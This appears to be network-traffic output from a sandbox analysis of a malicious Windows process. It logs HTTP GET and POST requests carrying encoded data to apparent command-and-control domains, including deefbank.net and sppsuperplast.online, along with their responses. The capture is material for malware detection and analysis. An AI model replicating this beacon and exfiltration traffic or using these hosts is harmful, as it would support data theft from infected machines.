76=l7rSu96AjKm3tQRUcyZ4DI0kAMzsjYegrE09hjQAgf5pLdotIO2VZJxxH+tmq5ReX+uMsOjb06smWMc3FYi49bAQwTw7h/yhIexDjR5wkqQv097M7Dq5s7p5dGoHq4kRxmcYwJerEN81UZ2zB3kW7DRq2VGLkYpDTFu6ZC7yf8XL8qG7S1IQvVOem5EMO56IJDZE+txYIIa5OBO6rPNQTlflDdRAKuods2J3gNv7XU9NGF/zdFMkBWILoHeD/MZAKlinUJo2YVy2M7APG0Vl0EQ6+mE5/RkoOx3jzF08sks21GUXpDn/3NsgcpEgA7XtyGmxYBOPObGfNiZdUNz9ERH5dAlwC/vGXY0h2XIOW+nm7r+UTBCZpPfms7Ceer5avSZDoGxHO3NN8JAzssShiEkx/uqPVoE607BfyNRrrjGUO03IB56roy2rBcMTzuQKVDIHMw5MsiHLN1d2OCes2KMA5PoTXRYJgCv/KkUaqeMhrNvMb81l+EUOxy6/JXc65VTDiy2fuDReeHyt8Swl4CrkbJ+CevEuO8GDpOBC8xvNxP23B1EpQsGS2LXQGSnLR3UZ3hopJy+L0Wh1Hm+2sIf30SxKbDkq0cTWCv5mSPzEckZxpY89V4OuF/XZGvcncDNRrlyNmVDTMMdXpkQFzV7f6PvHj8JzIXWDvyAxi+IOexDV7INrXhtH7XgV35rXKA7StU+hT1f38JJl/aGhRzlQP/j8SEacwlJuGk5FYyrxjuWNweVVuJkv869Jj1ifdbQATvsTa3k0/N0OnTazvqbJyo45RY4KUUQ9o0mSN55ALzratHbO8JGPrhVMaBr+uEmBsNuw4oeHikgA00DHda+ebDXWWf0N9SQUQutK7NYZU2ZHhZxNlONLvwAlWAjhWx+EhPVYDiAxE7Ua4hl5FyFhdn+uPDcN6gIh+BA2IUMhX3cQqkyw+v8lyvFajqW5Iln+xfFIYD+YN0dgzn7AmpGTw4abYcoydJjYmpTy7RQ/6oVPJ [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49732	85.159.66.93	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:38:46.046056986 CEST	485	OUT	GET /hel6/?76=o5DytMykkaK7sxNXVTYwbJ0nas7Lrf6+xSFmwBlJgutuTdBVL+3Ld5pnGP5bgJpbKreJsN3lh4gHWJ53LIGu8bA2yj0UpLyBdZ5DgjAe+Y8tl6D74j+Er65lZkEVlLJH6zUxwY6EHphi&mtJD_=fvdlJ2L HTTP/1.1 Host: www.sppsuperplast.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Sep 23, 2024 14:38:46.718200922 CEST	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Mon, 23 Sep 2024 12:38:46 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 19 X-Rate-Limit-Reset: 2024-09-23T12:38:51.6173239Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49733	142.250.186.51	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:38:51.937959909 CEST	740	OUT	POST /i06p/ HTTP/1.1 Host: www.deefbank.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.deefbank.net Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 215 Connection: close Referer: http://www.deefbank.net/i06p/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 59 72 49 62 67 36 6f 67 4d 4e 4d 63 59 65 6f 52 46 55 4e 75 6c 67 49 66 52 34 37 4d 42 36 4f 61 41 34 67 4f 48 77 71 72 65 71 7a 6b 4c 61 7a 38 38 69 65 70 72 66 5a 63 73 42 6d 77 4b 54 32 50 62 2b 55 51 6e 49 42 2f 6f 77 71 5a 74 72 63 69 2f 42 78 2f 55 4a 6e 38 47 59 48 6c 6a 59 72 72 6a 4c 61 79 78 6a 31 71 73 58 77 6a 59 75 39 56 68 59 76 47 43 74 61 73 45 50 37 69 38 37 67 43 2b 42 47 47 63 6f 6c 4e 68 6c 34 51 79 65 7a 65 61 34 63 53 68 6c 51 58 76 61 75 2b 76 79 50 77 53 59 6c 36 70 65 5a 6f 6c 64 77 2f 55 73 63 77 4b 6a 2b 68 6b 30 57 71 55 2f 62 54 2b 74 4a 39 4e 4a 79 69 44 67 36 4a 4e 37 61 52 36 6e 52 73 53 77 3d 3d Data Ascii: 76=YrIbg6ogMNMcYeoRFUNulgIfR47MB6OaA4gOHwqreqzkLaz88ieprfZcsBmwKT2Pb+UQnIB/owqZtrci/Bx/UJn8GYHljYrrjLayxj1qsXwjYu9VhYvGCtasEP7i87gC+BGGcolNhl4Qyezea4cShlQXvau+vyPwSYl6peZoldw/UscwKj+hk0WqU/bT+tJ9NJyiDg6JN7aR6nRsSw==
Sep 23, 2024 14:38:52.646972895 CEST	402	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 23 Sep 2024 12:38:52 GMT Location: https://www.deefbank.net/i06p/ Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49734	142.250.186.51	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:38:54.494962931 CEST	760	OUT	POST /i06p/ HTTP/1.1 Host: www.deefbank.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.deefbank.net Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 235 Connection: close Referer: http://www.deefbank.net/i06p/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 59 72 49 62 67 36 6f 67 4d 4e 4d 63 59 2b 34 52 41 31 4e 75 6a 41 49 41 55 34 37 4d 4b 61 50 79 41 34 73 4f 48 78 76 67 66 66 44 6b 46 61 6a 38 2f 68 47 70 73 66 5a 63 69 68 6d 31 56 6a 32 55 62 2b 51 79 6e 49 4e 2f 6f 77 2b 5a 74 75 67 69 2f 53 4a 34 53 5a 6e 2b 4c 34 48 6e 2b 6f 72 72 6a 4c 61 79 78 6a 68 4d 73 58 59 6a 5a 65 4e 56 68 35 76 42 42 74 61 74 44 50 37 69 71 37 67 4f 2b 42 47 30 63 74 4d 57 68 6d 4d 51 79 62 50 65 65 35 63 52 76 6c 51 52 69 36 76 32 72 6e 71 50 65 71 70 42 72 4f 64 31 67 4f 6f 46 59 36 42 53 51 42 79 4e 36 6c 75 52 51 39 2f 6c 70 4c 55 49 50 49 32 36 4f 43 4f 6f 53 4d 2f 37 33 31 77 6f 45 4e 38 59 38 5a 52 45 4b 46 56 50 4f 68 68 61 38 50 67 2b 7a 74 49 3d Data Ascii: 76=YrIbg6ogMNMcY+4RA1NujAIAU47MKaPyA4sOHxvgffDkFaj8/hGpsfZcihm1Vj2Ub+QynIN/ow+Ztugi/SJ4SZn+L4Hn+orrjLayxjhMsXYjZeNVh5vBBtatDP7iq7gO+BG0ctMWhmMQybPee5cRvlQRi6v2rnqPeqpBrOd1gOoFY6BSQByN6luRQ9/lpLUIPI26OCOoSM/731woEN8Y8ZREKFVPOhha8Pg+ztI=
Sep 23, 2024 14:38:55.444797993 CEST	402	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 23 Sep 2024 12:38:55 GMT Location: https://www.deefbank.net/i06p/ Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49735	142.250.186.51	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:38:57.032861948 CEST	1773	OUT	POST /i06p/ HTTP/1.1 Host: www.deefbank.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.deefbank.net Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1247 Connection: close Referer: http://www.deefbank.net/i06p/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 59 72 49 62 67 36 6f 67 4d 4e 4d 63 59 2b 34 52 41 31 4e 75 6a 41 49 41 55 34 37 4d 4b 61 50 79 41 34 73 4f 48 78 76 67 66 66 4c 6b 46 70 62 38 2f 41 47 70 74 66 5a 63 71 42 6d 30 56 6a 33 55 62 34 34 32 6e 49 51 45 6f 7a 47 5a 75 49 55 69 72 33 6c 34 63 5a 6e 2b 58 49 48 6d 6a 59 72 36 6a 4c 4b 32 78 6a 78 4d 73 58 59 6a 5a 59 70 56 6a 6f 76 42 48 74 61 73 45 50 37 32 38 37 68 6e 2b 42 65 6b 63 74 41 47 68 56 55 51 79 37 2f 65 63 72 6b 52 6e 6c 51 54 78 4b 75 77 72 6e 75 75 65 71 6c 6e 72 4e 42 50 67 4d 6f 46 64 75 45 72 45 7a 2b 52 6f 45 57 5a 62 62 36 41 69 61 45 44 48 66 61 5a 52 77 71 4c 4f 37 6a 4e 79 32 70 67 43 36 49 62 70 72 64 74 4b 6d 46 72 4f 48 41 6c 37 2f 38 46 74 6f 5a 4e 6c 57 37 64 50 34 6a 54 32 50 32 59 4e 6a 51 77 76 74 6d 31 33 2b 6b 55 38 67 79 54 67 64 38 6a 75 4d 4c 48 57 77 4c 79 63 46 62 4b 6b 42 58 4d 6f 72 72 54 43 71 51 44 6a 52 66 64 41 4c 4b 45 42 64 79 47 55 65 6d 6f 50 53 45 30 30 74 7a 47 69 78 50 6b 4b 55 37 59 78 79 6e 73 6c 48 36 37 4d 30 45 61 4c 53 4e [TRUNCATED] Data Ascii: 76=YrIbg6ogMNMcY+4RA1NujAIAU47MKaPyA4sOHxvgffLkFpb8/AGptfZcqBm0Vj3Ub442nIQEozGZuIUir3l4cZn+XIHmjYr6jLK2xjxMsXYjZYpVjovBHtasEP7287hn+BekctAGhVUQy7/ecrkRnlQTxKuwrnuueqlnrNBPgMoFduErEz+RoEWZbb6AiaEDHfaZRwqLO7jNy2pgC6IbprdtKmFrOHAl7/8FtoZNlW7dP4jT2P2YNjQwvtm13+kU8gyTgd8juMLHWwLycFbKkBXMorrTCqQDjRfdALKEBdyGUemoPSE00tzGixPkKU7YxynslH67M0EaLSNMafIucr4GpPRQE1Ktz98Pbndgwh9eti40BrKeI9ebNq23nYHU1H1A5kuOvd9tfmP7HBwUP5rL7dAywnCtd+EvppQJkAe5i5ID85yB0K3c125MVJ5Q+rmFrDchCI2czP1yNnzMmeCM5j9G7YD7Htj8XIubj8IsfpBGea/L7a2v+LI4mn+kBm0+RJ/k7Bl0zmKcY/I6QaqLbQmJko8dC9Qv/lVuf3WqgYj5dU+jOfmtl63Tb7tXinhMe13zaFWpLVORYGpRs9TiuYXTfWH5a4VqatyqqNHPOkyjDD1cf+lWadUzxb5QJnEAvp4ehV+OhpoZQQNmjbwqJ/0NCwlDF+aSozhn/g5Dslj5xzpfsNawlXB+H0hl1wHiOgiqUQWWSYmYRLf+UEWlybiBetCs3+gcZl9uWb23R+xtE2qirEb0edLsHzpwFoAx+ymck6JykJ2Nd23D4q4VW4UuEPLPBFgPOeRGCLclmBdrr3NHMJQpyjopbnOUJIHAo0FYvnsUHSD5W4yHm69OK8kROa1mdQ/M3rc9B9diCKvcOBDFqc0Me6yhxMdEJ28MVbOEdjEzaA2QUd4PYDM6bGtNZGdiM8zuCeZZ22AYPEulGHs8XosM+Hz5ed6NszzHxEy7IBzuTIt4b4TGw2Jh2+ZXySa4Hl7w7l8u70zGlMKjM [TRUNCATED]
Sep 23, 2024 14:38:57.758460999 CEST	402	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 23 Sep 2024 12:38:57 GMT Location: https://www.deefbank.net/i06p/ Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49736	142.250.186.51	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:38:59.632251978 CEST	477	OUT	GET /i06p/?76=Vpg7jNNJFscOYvB4AFVvnCABD6vaG9WwQKsmOhPgVM6zGb6O3kTWptBkzi24RSKPCbgQwpMWpgmK77FhrxpjTuP7OZT72bn7m/6/2woT1FIIWI10rq/bHfXKD/PO7OFh2Gu8aqkRsDAe&mtJD_=fvdlJ2L HTTP/1.1 Host: www.deefbank.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Sep 23, 2024 14:39:00.363027096 CEST	560	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 23 Sep 2024 12:39:00 GMT Location: https://www.deefbank.net/i06p/?76=Vpg7jNNJFscOYvB4AFVvnCABD6vaG9WwQKsmOhPgVM6zGb6O3kTWptBkzi24RSKPCbgQwpMWpgmK77FhrxpjTuP7OZT72bn7m/6/2woT1FIIWI10rq/bHfXKD/PO7OFh2Gu8aqkRsDAe&mtJD_=fvdlJ2L Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49737	199.59.243.227	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:39:13.543255091 CEST	767	OUT	POST /8dtf/ HTTP/1.1 Host: www.donante-de-ovulos.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.donante-de-ovulos.biz Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 215 Connection: close Referer: http://www.donante-de-ovulos.biz/8dtf/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 71 36 72 48 35 31 56 79 42 44 56 58 46 76 39 6b 71 77 4c 30 47 2b 65 4f 64 6b 55 45 37 2f 70 51 52 65 58 76 39 51 32 35 50 31 4a 67 6a 68 34 5a 41 35 57 34 61 53 36 4c 64 53 7a 49 73 50 32 65 34 65 4a 74 4e 6b 51 52 75 4a 2b 69 39 55 76 69 56 72 42 7a 4c 75 74 34 63 49 56 69 4c 4b 76 34 54 32 6f 77 62 5a 45 42 32 57 4c 4d 73 67 64 32 6c 53 76 4b 64 30 48 6d 47 43 6f 74 61 59 33 68 33 50 67 38 53 78 73 72 4d 75 39 50 70 55 46 50 79 6c 50 48 41 39 76 32 46 44 64 59 61 48 4f 4e 65 78 33 72 74 62 4b 4f 7a 6f 34 58 6d 68 67 48 76 70 6c 4d 69 52 77 43 4f 68 35 46 35 6f 30 70 6b 64 79 63 76 70 36 4a 4f 75 7a 59 61 7a 53 72 47 51 3d 3d Data Ascii: 76=q6rH51VyBDVXFv9kqwL0G+eOdkUE7/pQReXv9Q25P1Jgjh4ZA5W4aS6LdSzIsP2e4eJtNkQRuJ+i9UviVrBzLut4cIViLKv4T2owbZEB2WLMsgd2lSvKd0HmGCotaY3h3Pg8SxsrMu9PpUFPylPHA9v2FDdYaHONex3rtbKOzo4XmhgHvplMiRwCOh5F5o0pkdycvp6JOuzYazSrGQ==
Sep 23, 2024 14:39:14.931289911 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 23 Sep 2024 12:39:13 GMT content-type: text/html; charset=utf-8 content-length: 1150 x-request-id: af745696-d0cd-4616-9ea0-1243abf84ffc cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VTCD/NI5TGOPdEnQukIDh5BP/Tnds/IDJVMRXEnZ8X/1m8/f8AOUkV5RZCD9pajtSQBYvU1xd0vO3z7RVsKy3A== set-cookie: parking_session=af745696-d0cd-4616-9ea0-1243abf84ffc; expires=Mon, 23 Sep 2024 12:54:13 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 54 43 44 2f 4e 49 35 54 47 4f 50 64 45 6e 51 75 6b 49 44 68 35 42 50 2f 54 6e 64 73 2f 49 44 4a 56 4d 52 58 45 6e 5a 38 58 2f 31 6d 38 2f 66 38 41 4f 55 6b 56 35 52 5a 43 44 39 70 61 6a 74 53 51 42 59 76 55 31 78 64 30 76 4f 33 7a 37 52 56 73 4b 79 33 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VTCD/NI5TGOPdEnQukIDh5BP/Tnds/IDJVMRXEnZ8X/1m8/f8AOUkV5RZCD9pajtSQBYvU1xd0vO3z7RVsKy3A==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 23, 2024 14:39:14.931310892 CEST	603	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYWY3NDU2OTYtZDBjZC00NjE2LTllYTAtMTI0M2FiZjg0ZmZjIiwicGFnZV90aW1lIjoxNzI3MDk1MT
Sep 23, 2024 14:39:14.931551933 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 23 Sep 2024 12:39:13 GMT content-type: text/html; charset=utf-8 content-length: 1150 x-request-id: af745696-d0cd-4616-9ea0-1243abf84ffc cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VTCD/NI5TGOPdEnQukIDh5BP/Tnds/IDJVMRXEnZ8X/1m8/f8AOUkV5RZCD9pajtSQBYvU1xd0vO3z7RVsKy3A== set-cookie: parking_session=af745696-d0cd-4616-9ea0-1243abf84ffc; expires=Mon, 23 Sep 2024 12:54:13 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 54 43 44 2f 4e 49 35 54 47 4f 50 64 45 6e 51 75 6b 49 44 68 35 42 50 2f 54 6e 64 73 2f 49 44 4a 56 4d 52 58 45 6e 5a 38 58 2f 31 6d 38 2f 66 38 41 4f 55 6b 56 35 52 5a 43 44 39 70 61 6a 74 53 51 42 59 76 55 31 78 64 30 76 4f 33 7a 37 52 56 73 4b 79 33 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VTCD/NI5TGOPdEnQukIDh5BP/Tnds/IDJVMRXEnZ8X/1m8/f8AOUkV5RZCD9pajtSQBYvU1xd0vO3z7RVsKy3A==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 23, 2024 14:39:14.931922913 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 23 Sep 2024 12:39:13 GMT content-type: text/html; charset=utf-8 content-length: 1150 x-request-id: af745696-d0cd-4616-9ea0-1243abf84ffc cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VTCD/NI5TGOPdEnQukIDh5BP/Tnds/IDJVMRXEnZ8X/1m8/f8AOUkV5RZCD9pajtSQBYvU1xd0vO3z7RVsKy3A== set-cookie: parking_session=af745696-d0cd-4616-9ea0-1243abf84ffc; expires=Mon, 23 Sep 2024 12:54:13 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 54 43 44 2f 4e 49 35 54 47 4f 50 64 45 6e 51 75 6b 49 44 68 35 42 50 2f 54 6e 64 73 2f 49 44 4a 56 4d 52 58 45 6e 5a 38 58 2f 31 6d 38 2f 66 38 41 4f 55 6b 56 35 52 5a 43 44 39 70 61 6a 74 53 51 42 59 76 55 31 78 64 30 76 4f 33 7a 37 52 56 73 4b 79 33 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VTCD/NI5TGOPdEnQukIDh5BP/Tnds/IDJVMRXEnZ8X/1m8/f8AOUkV5RZCD9pajtSQBYvU1xd0vO3z7RVsKy3A==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	49738	199.59.243.227	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
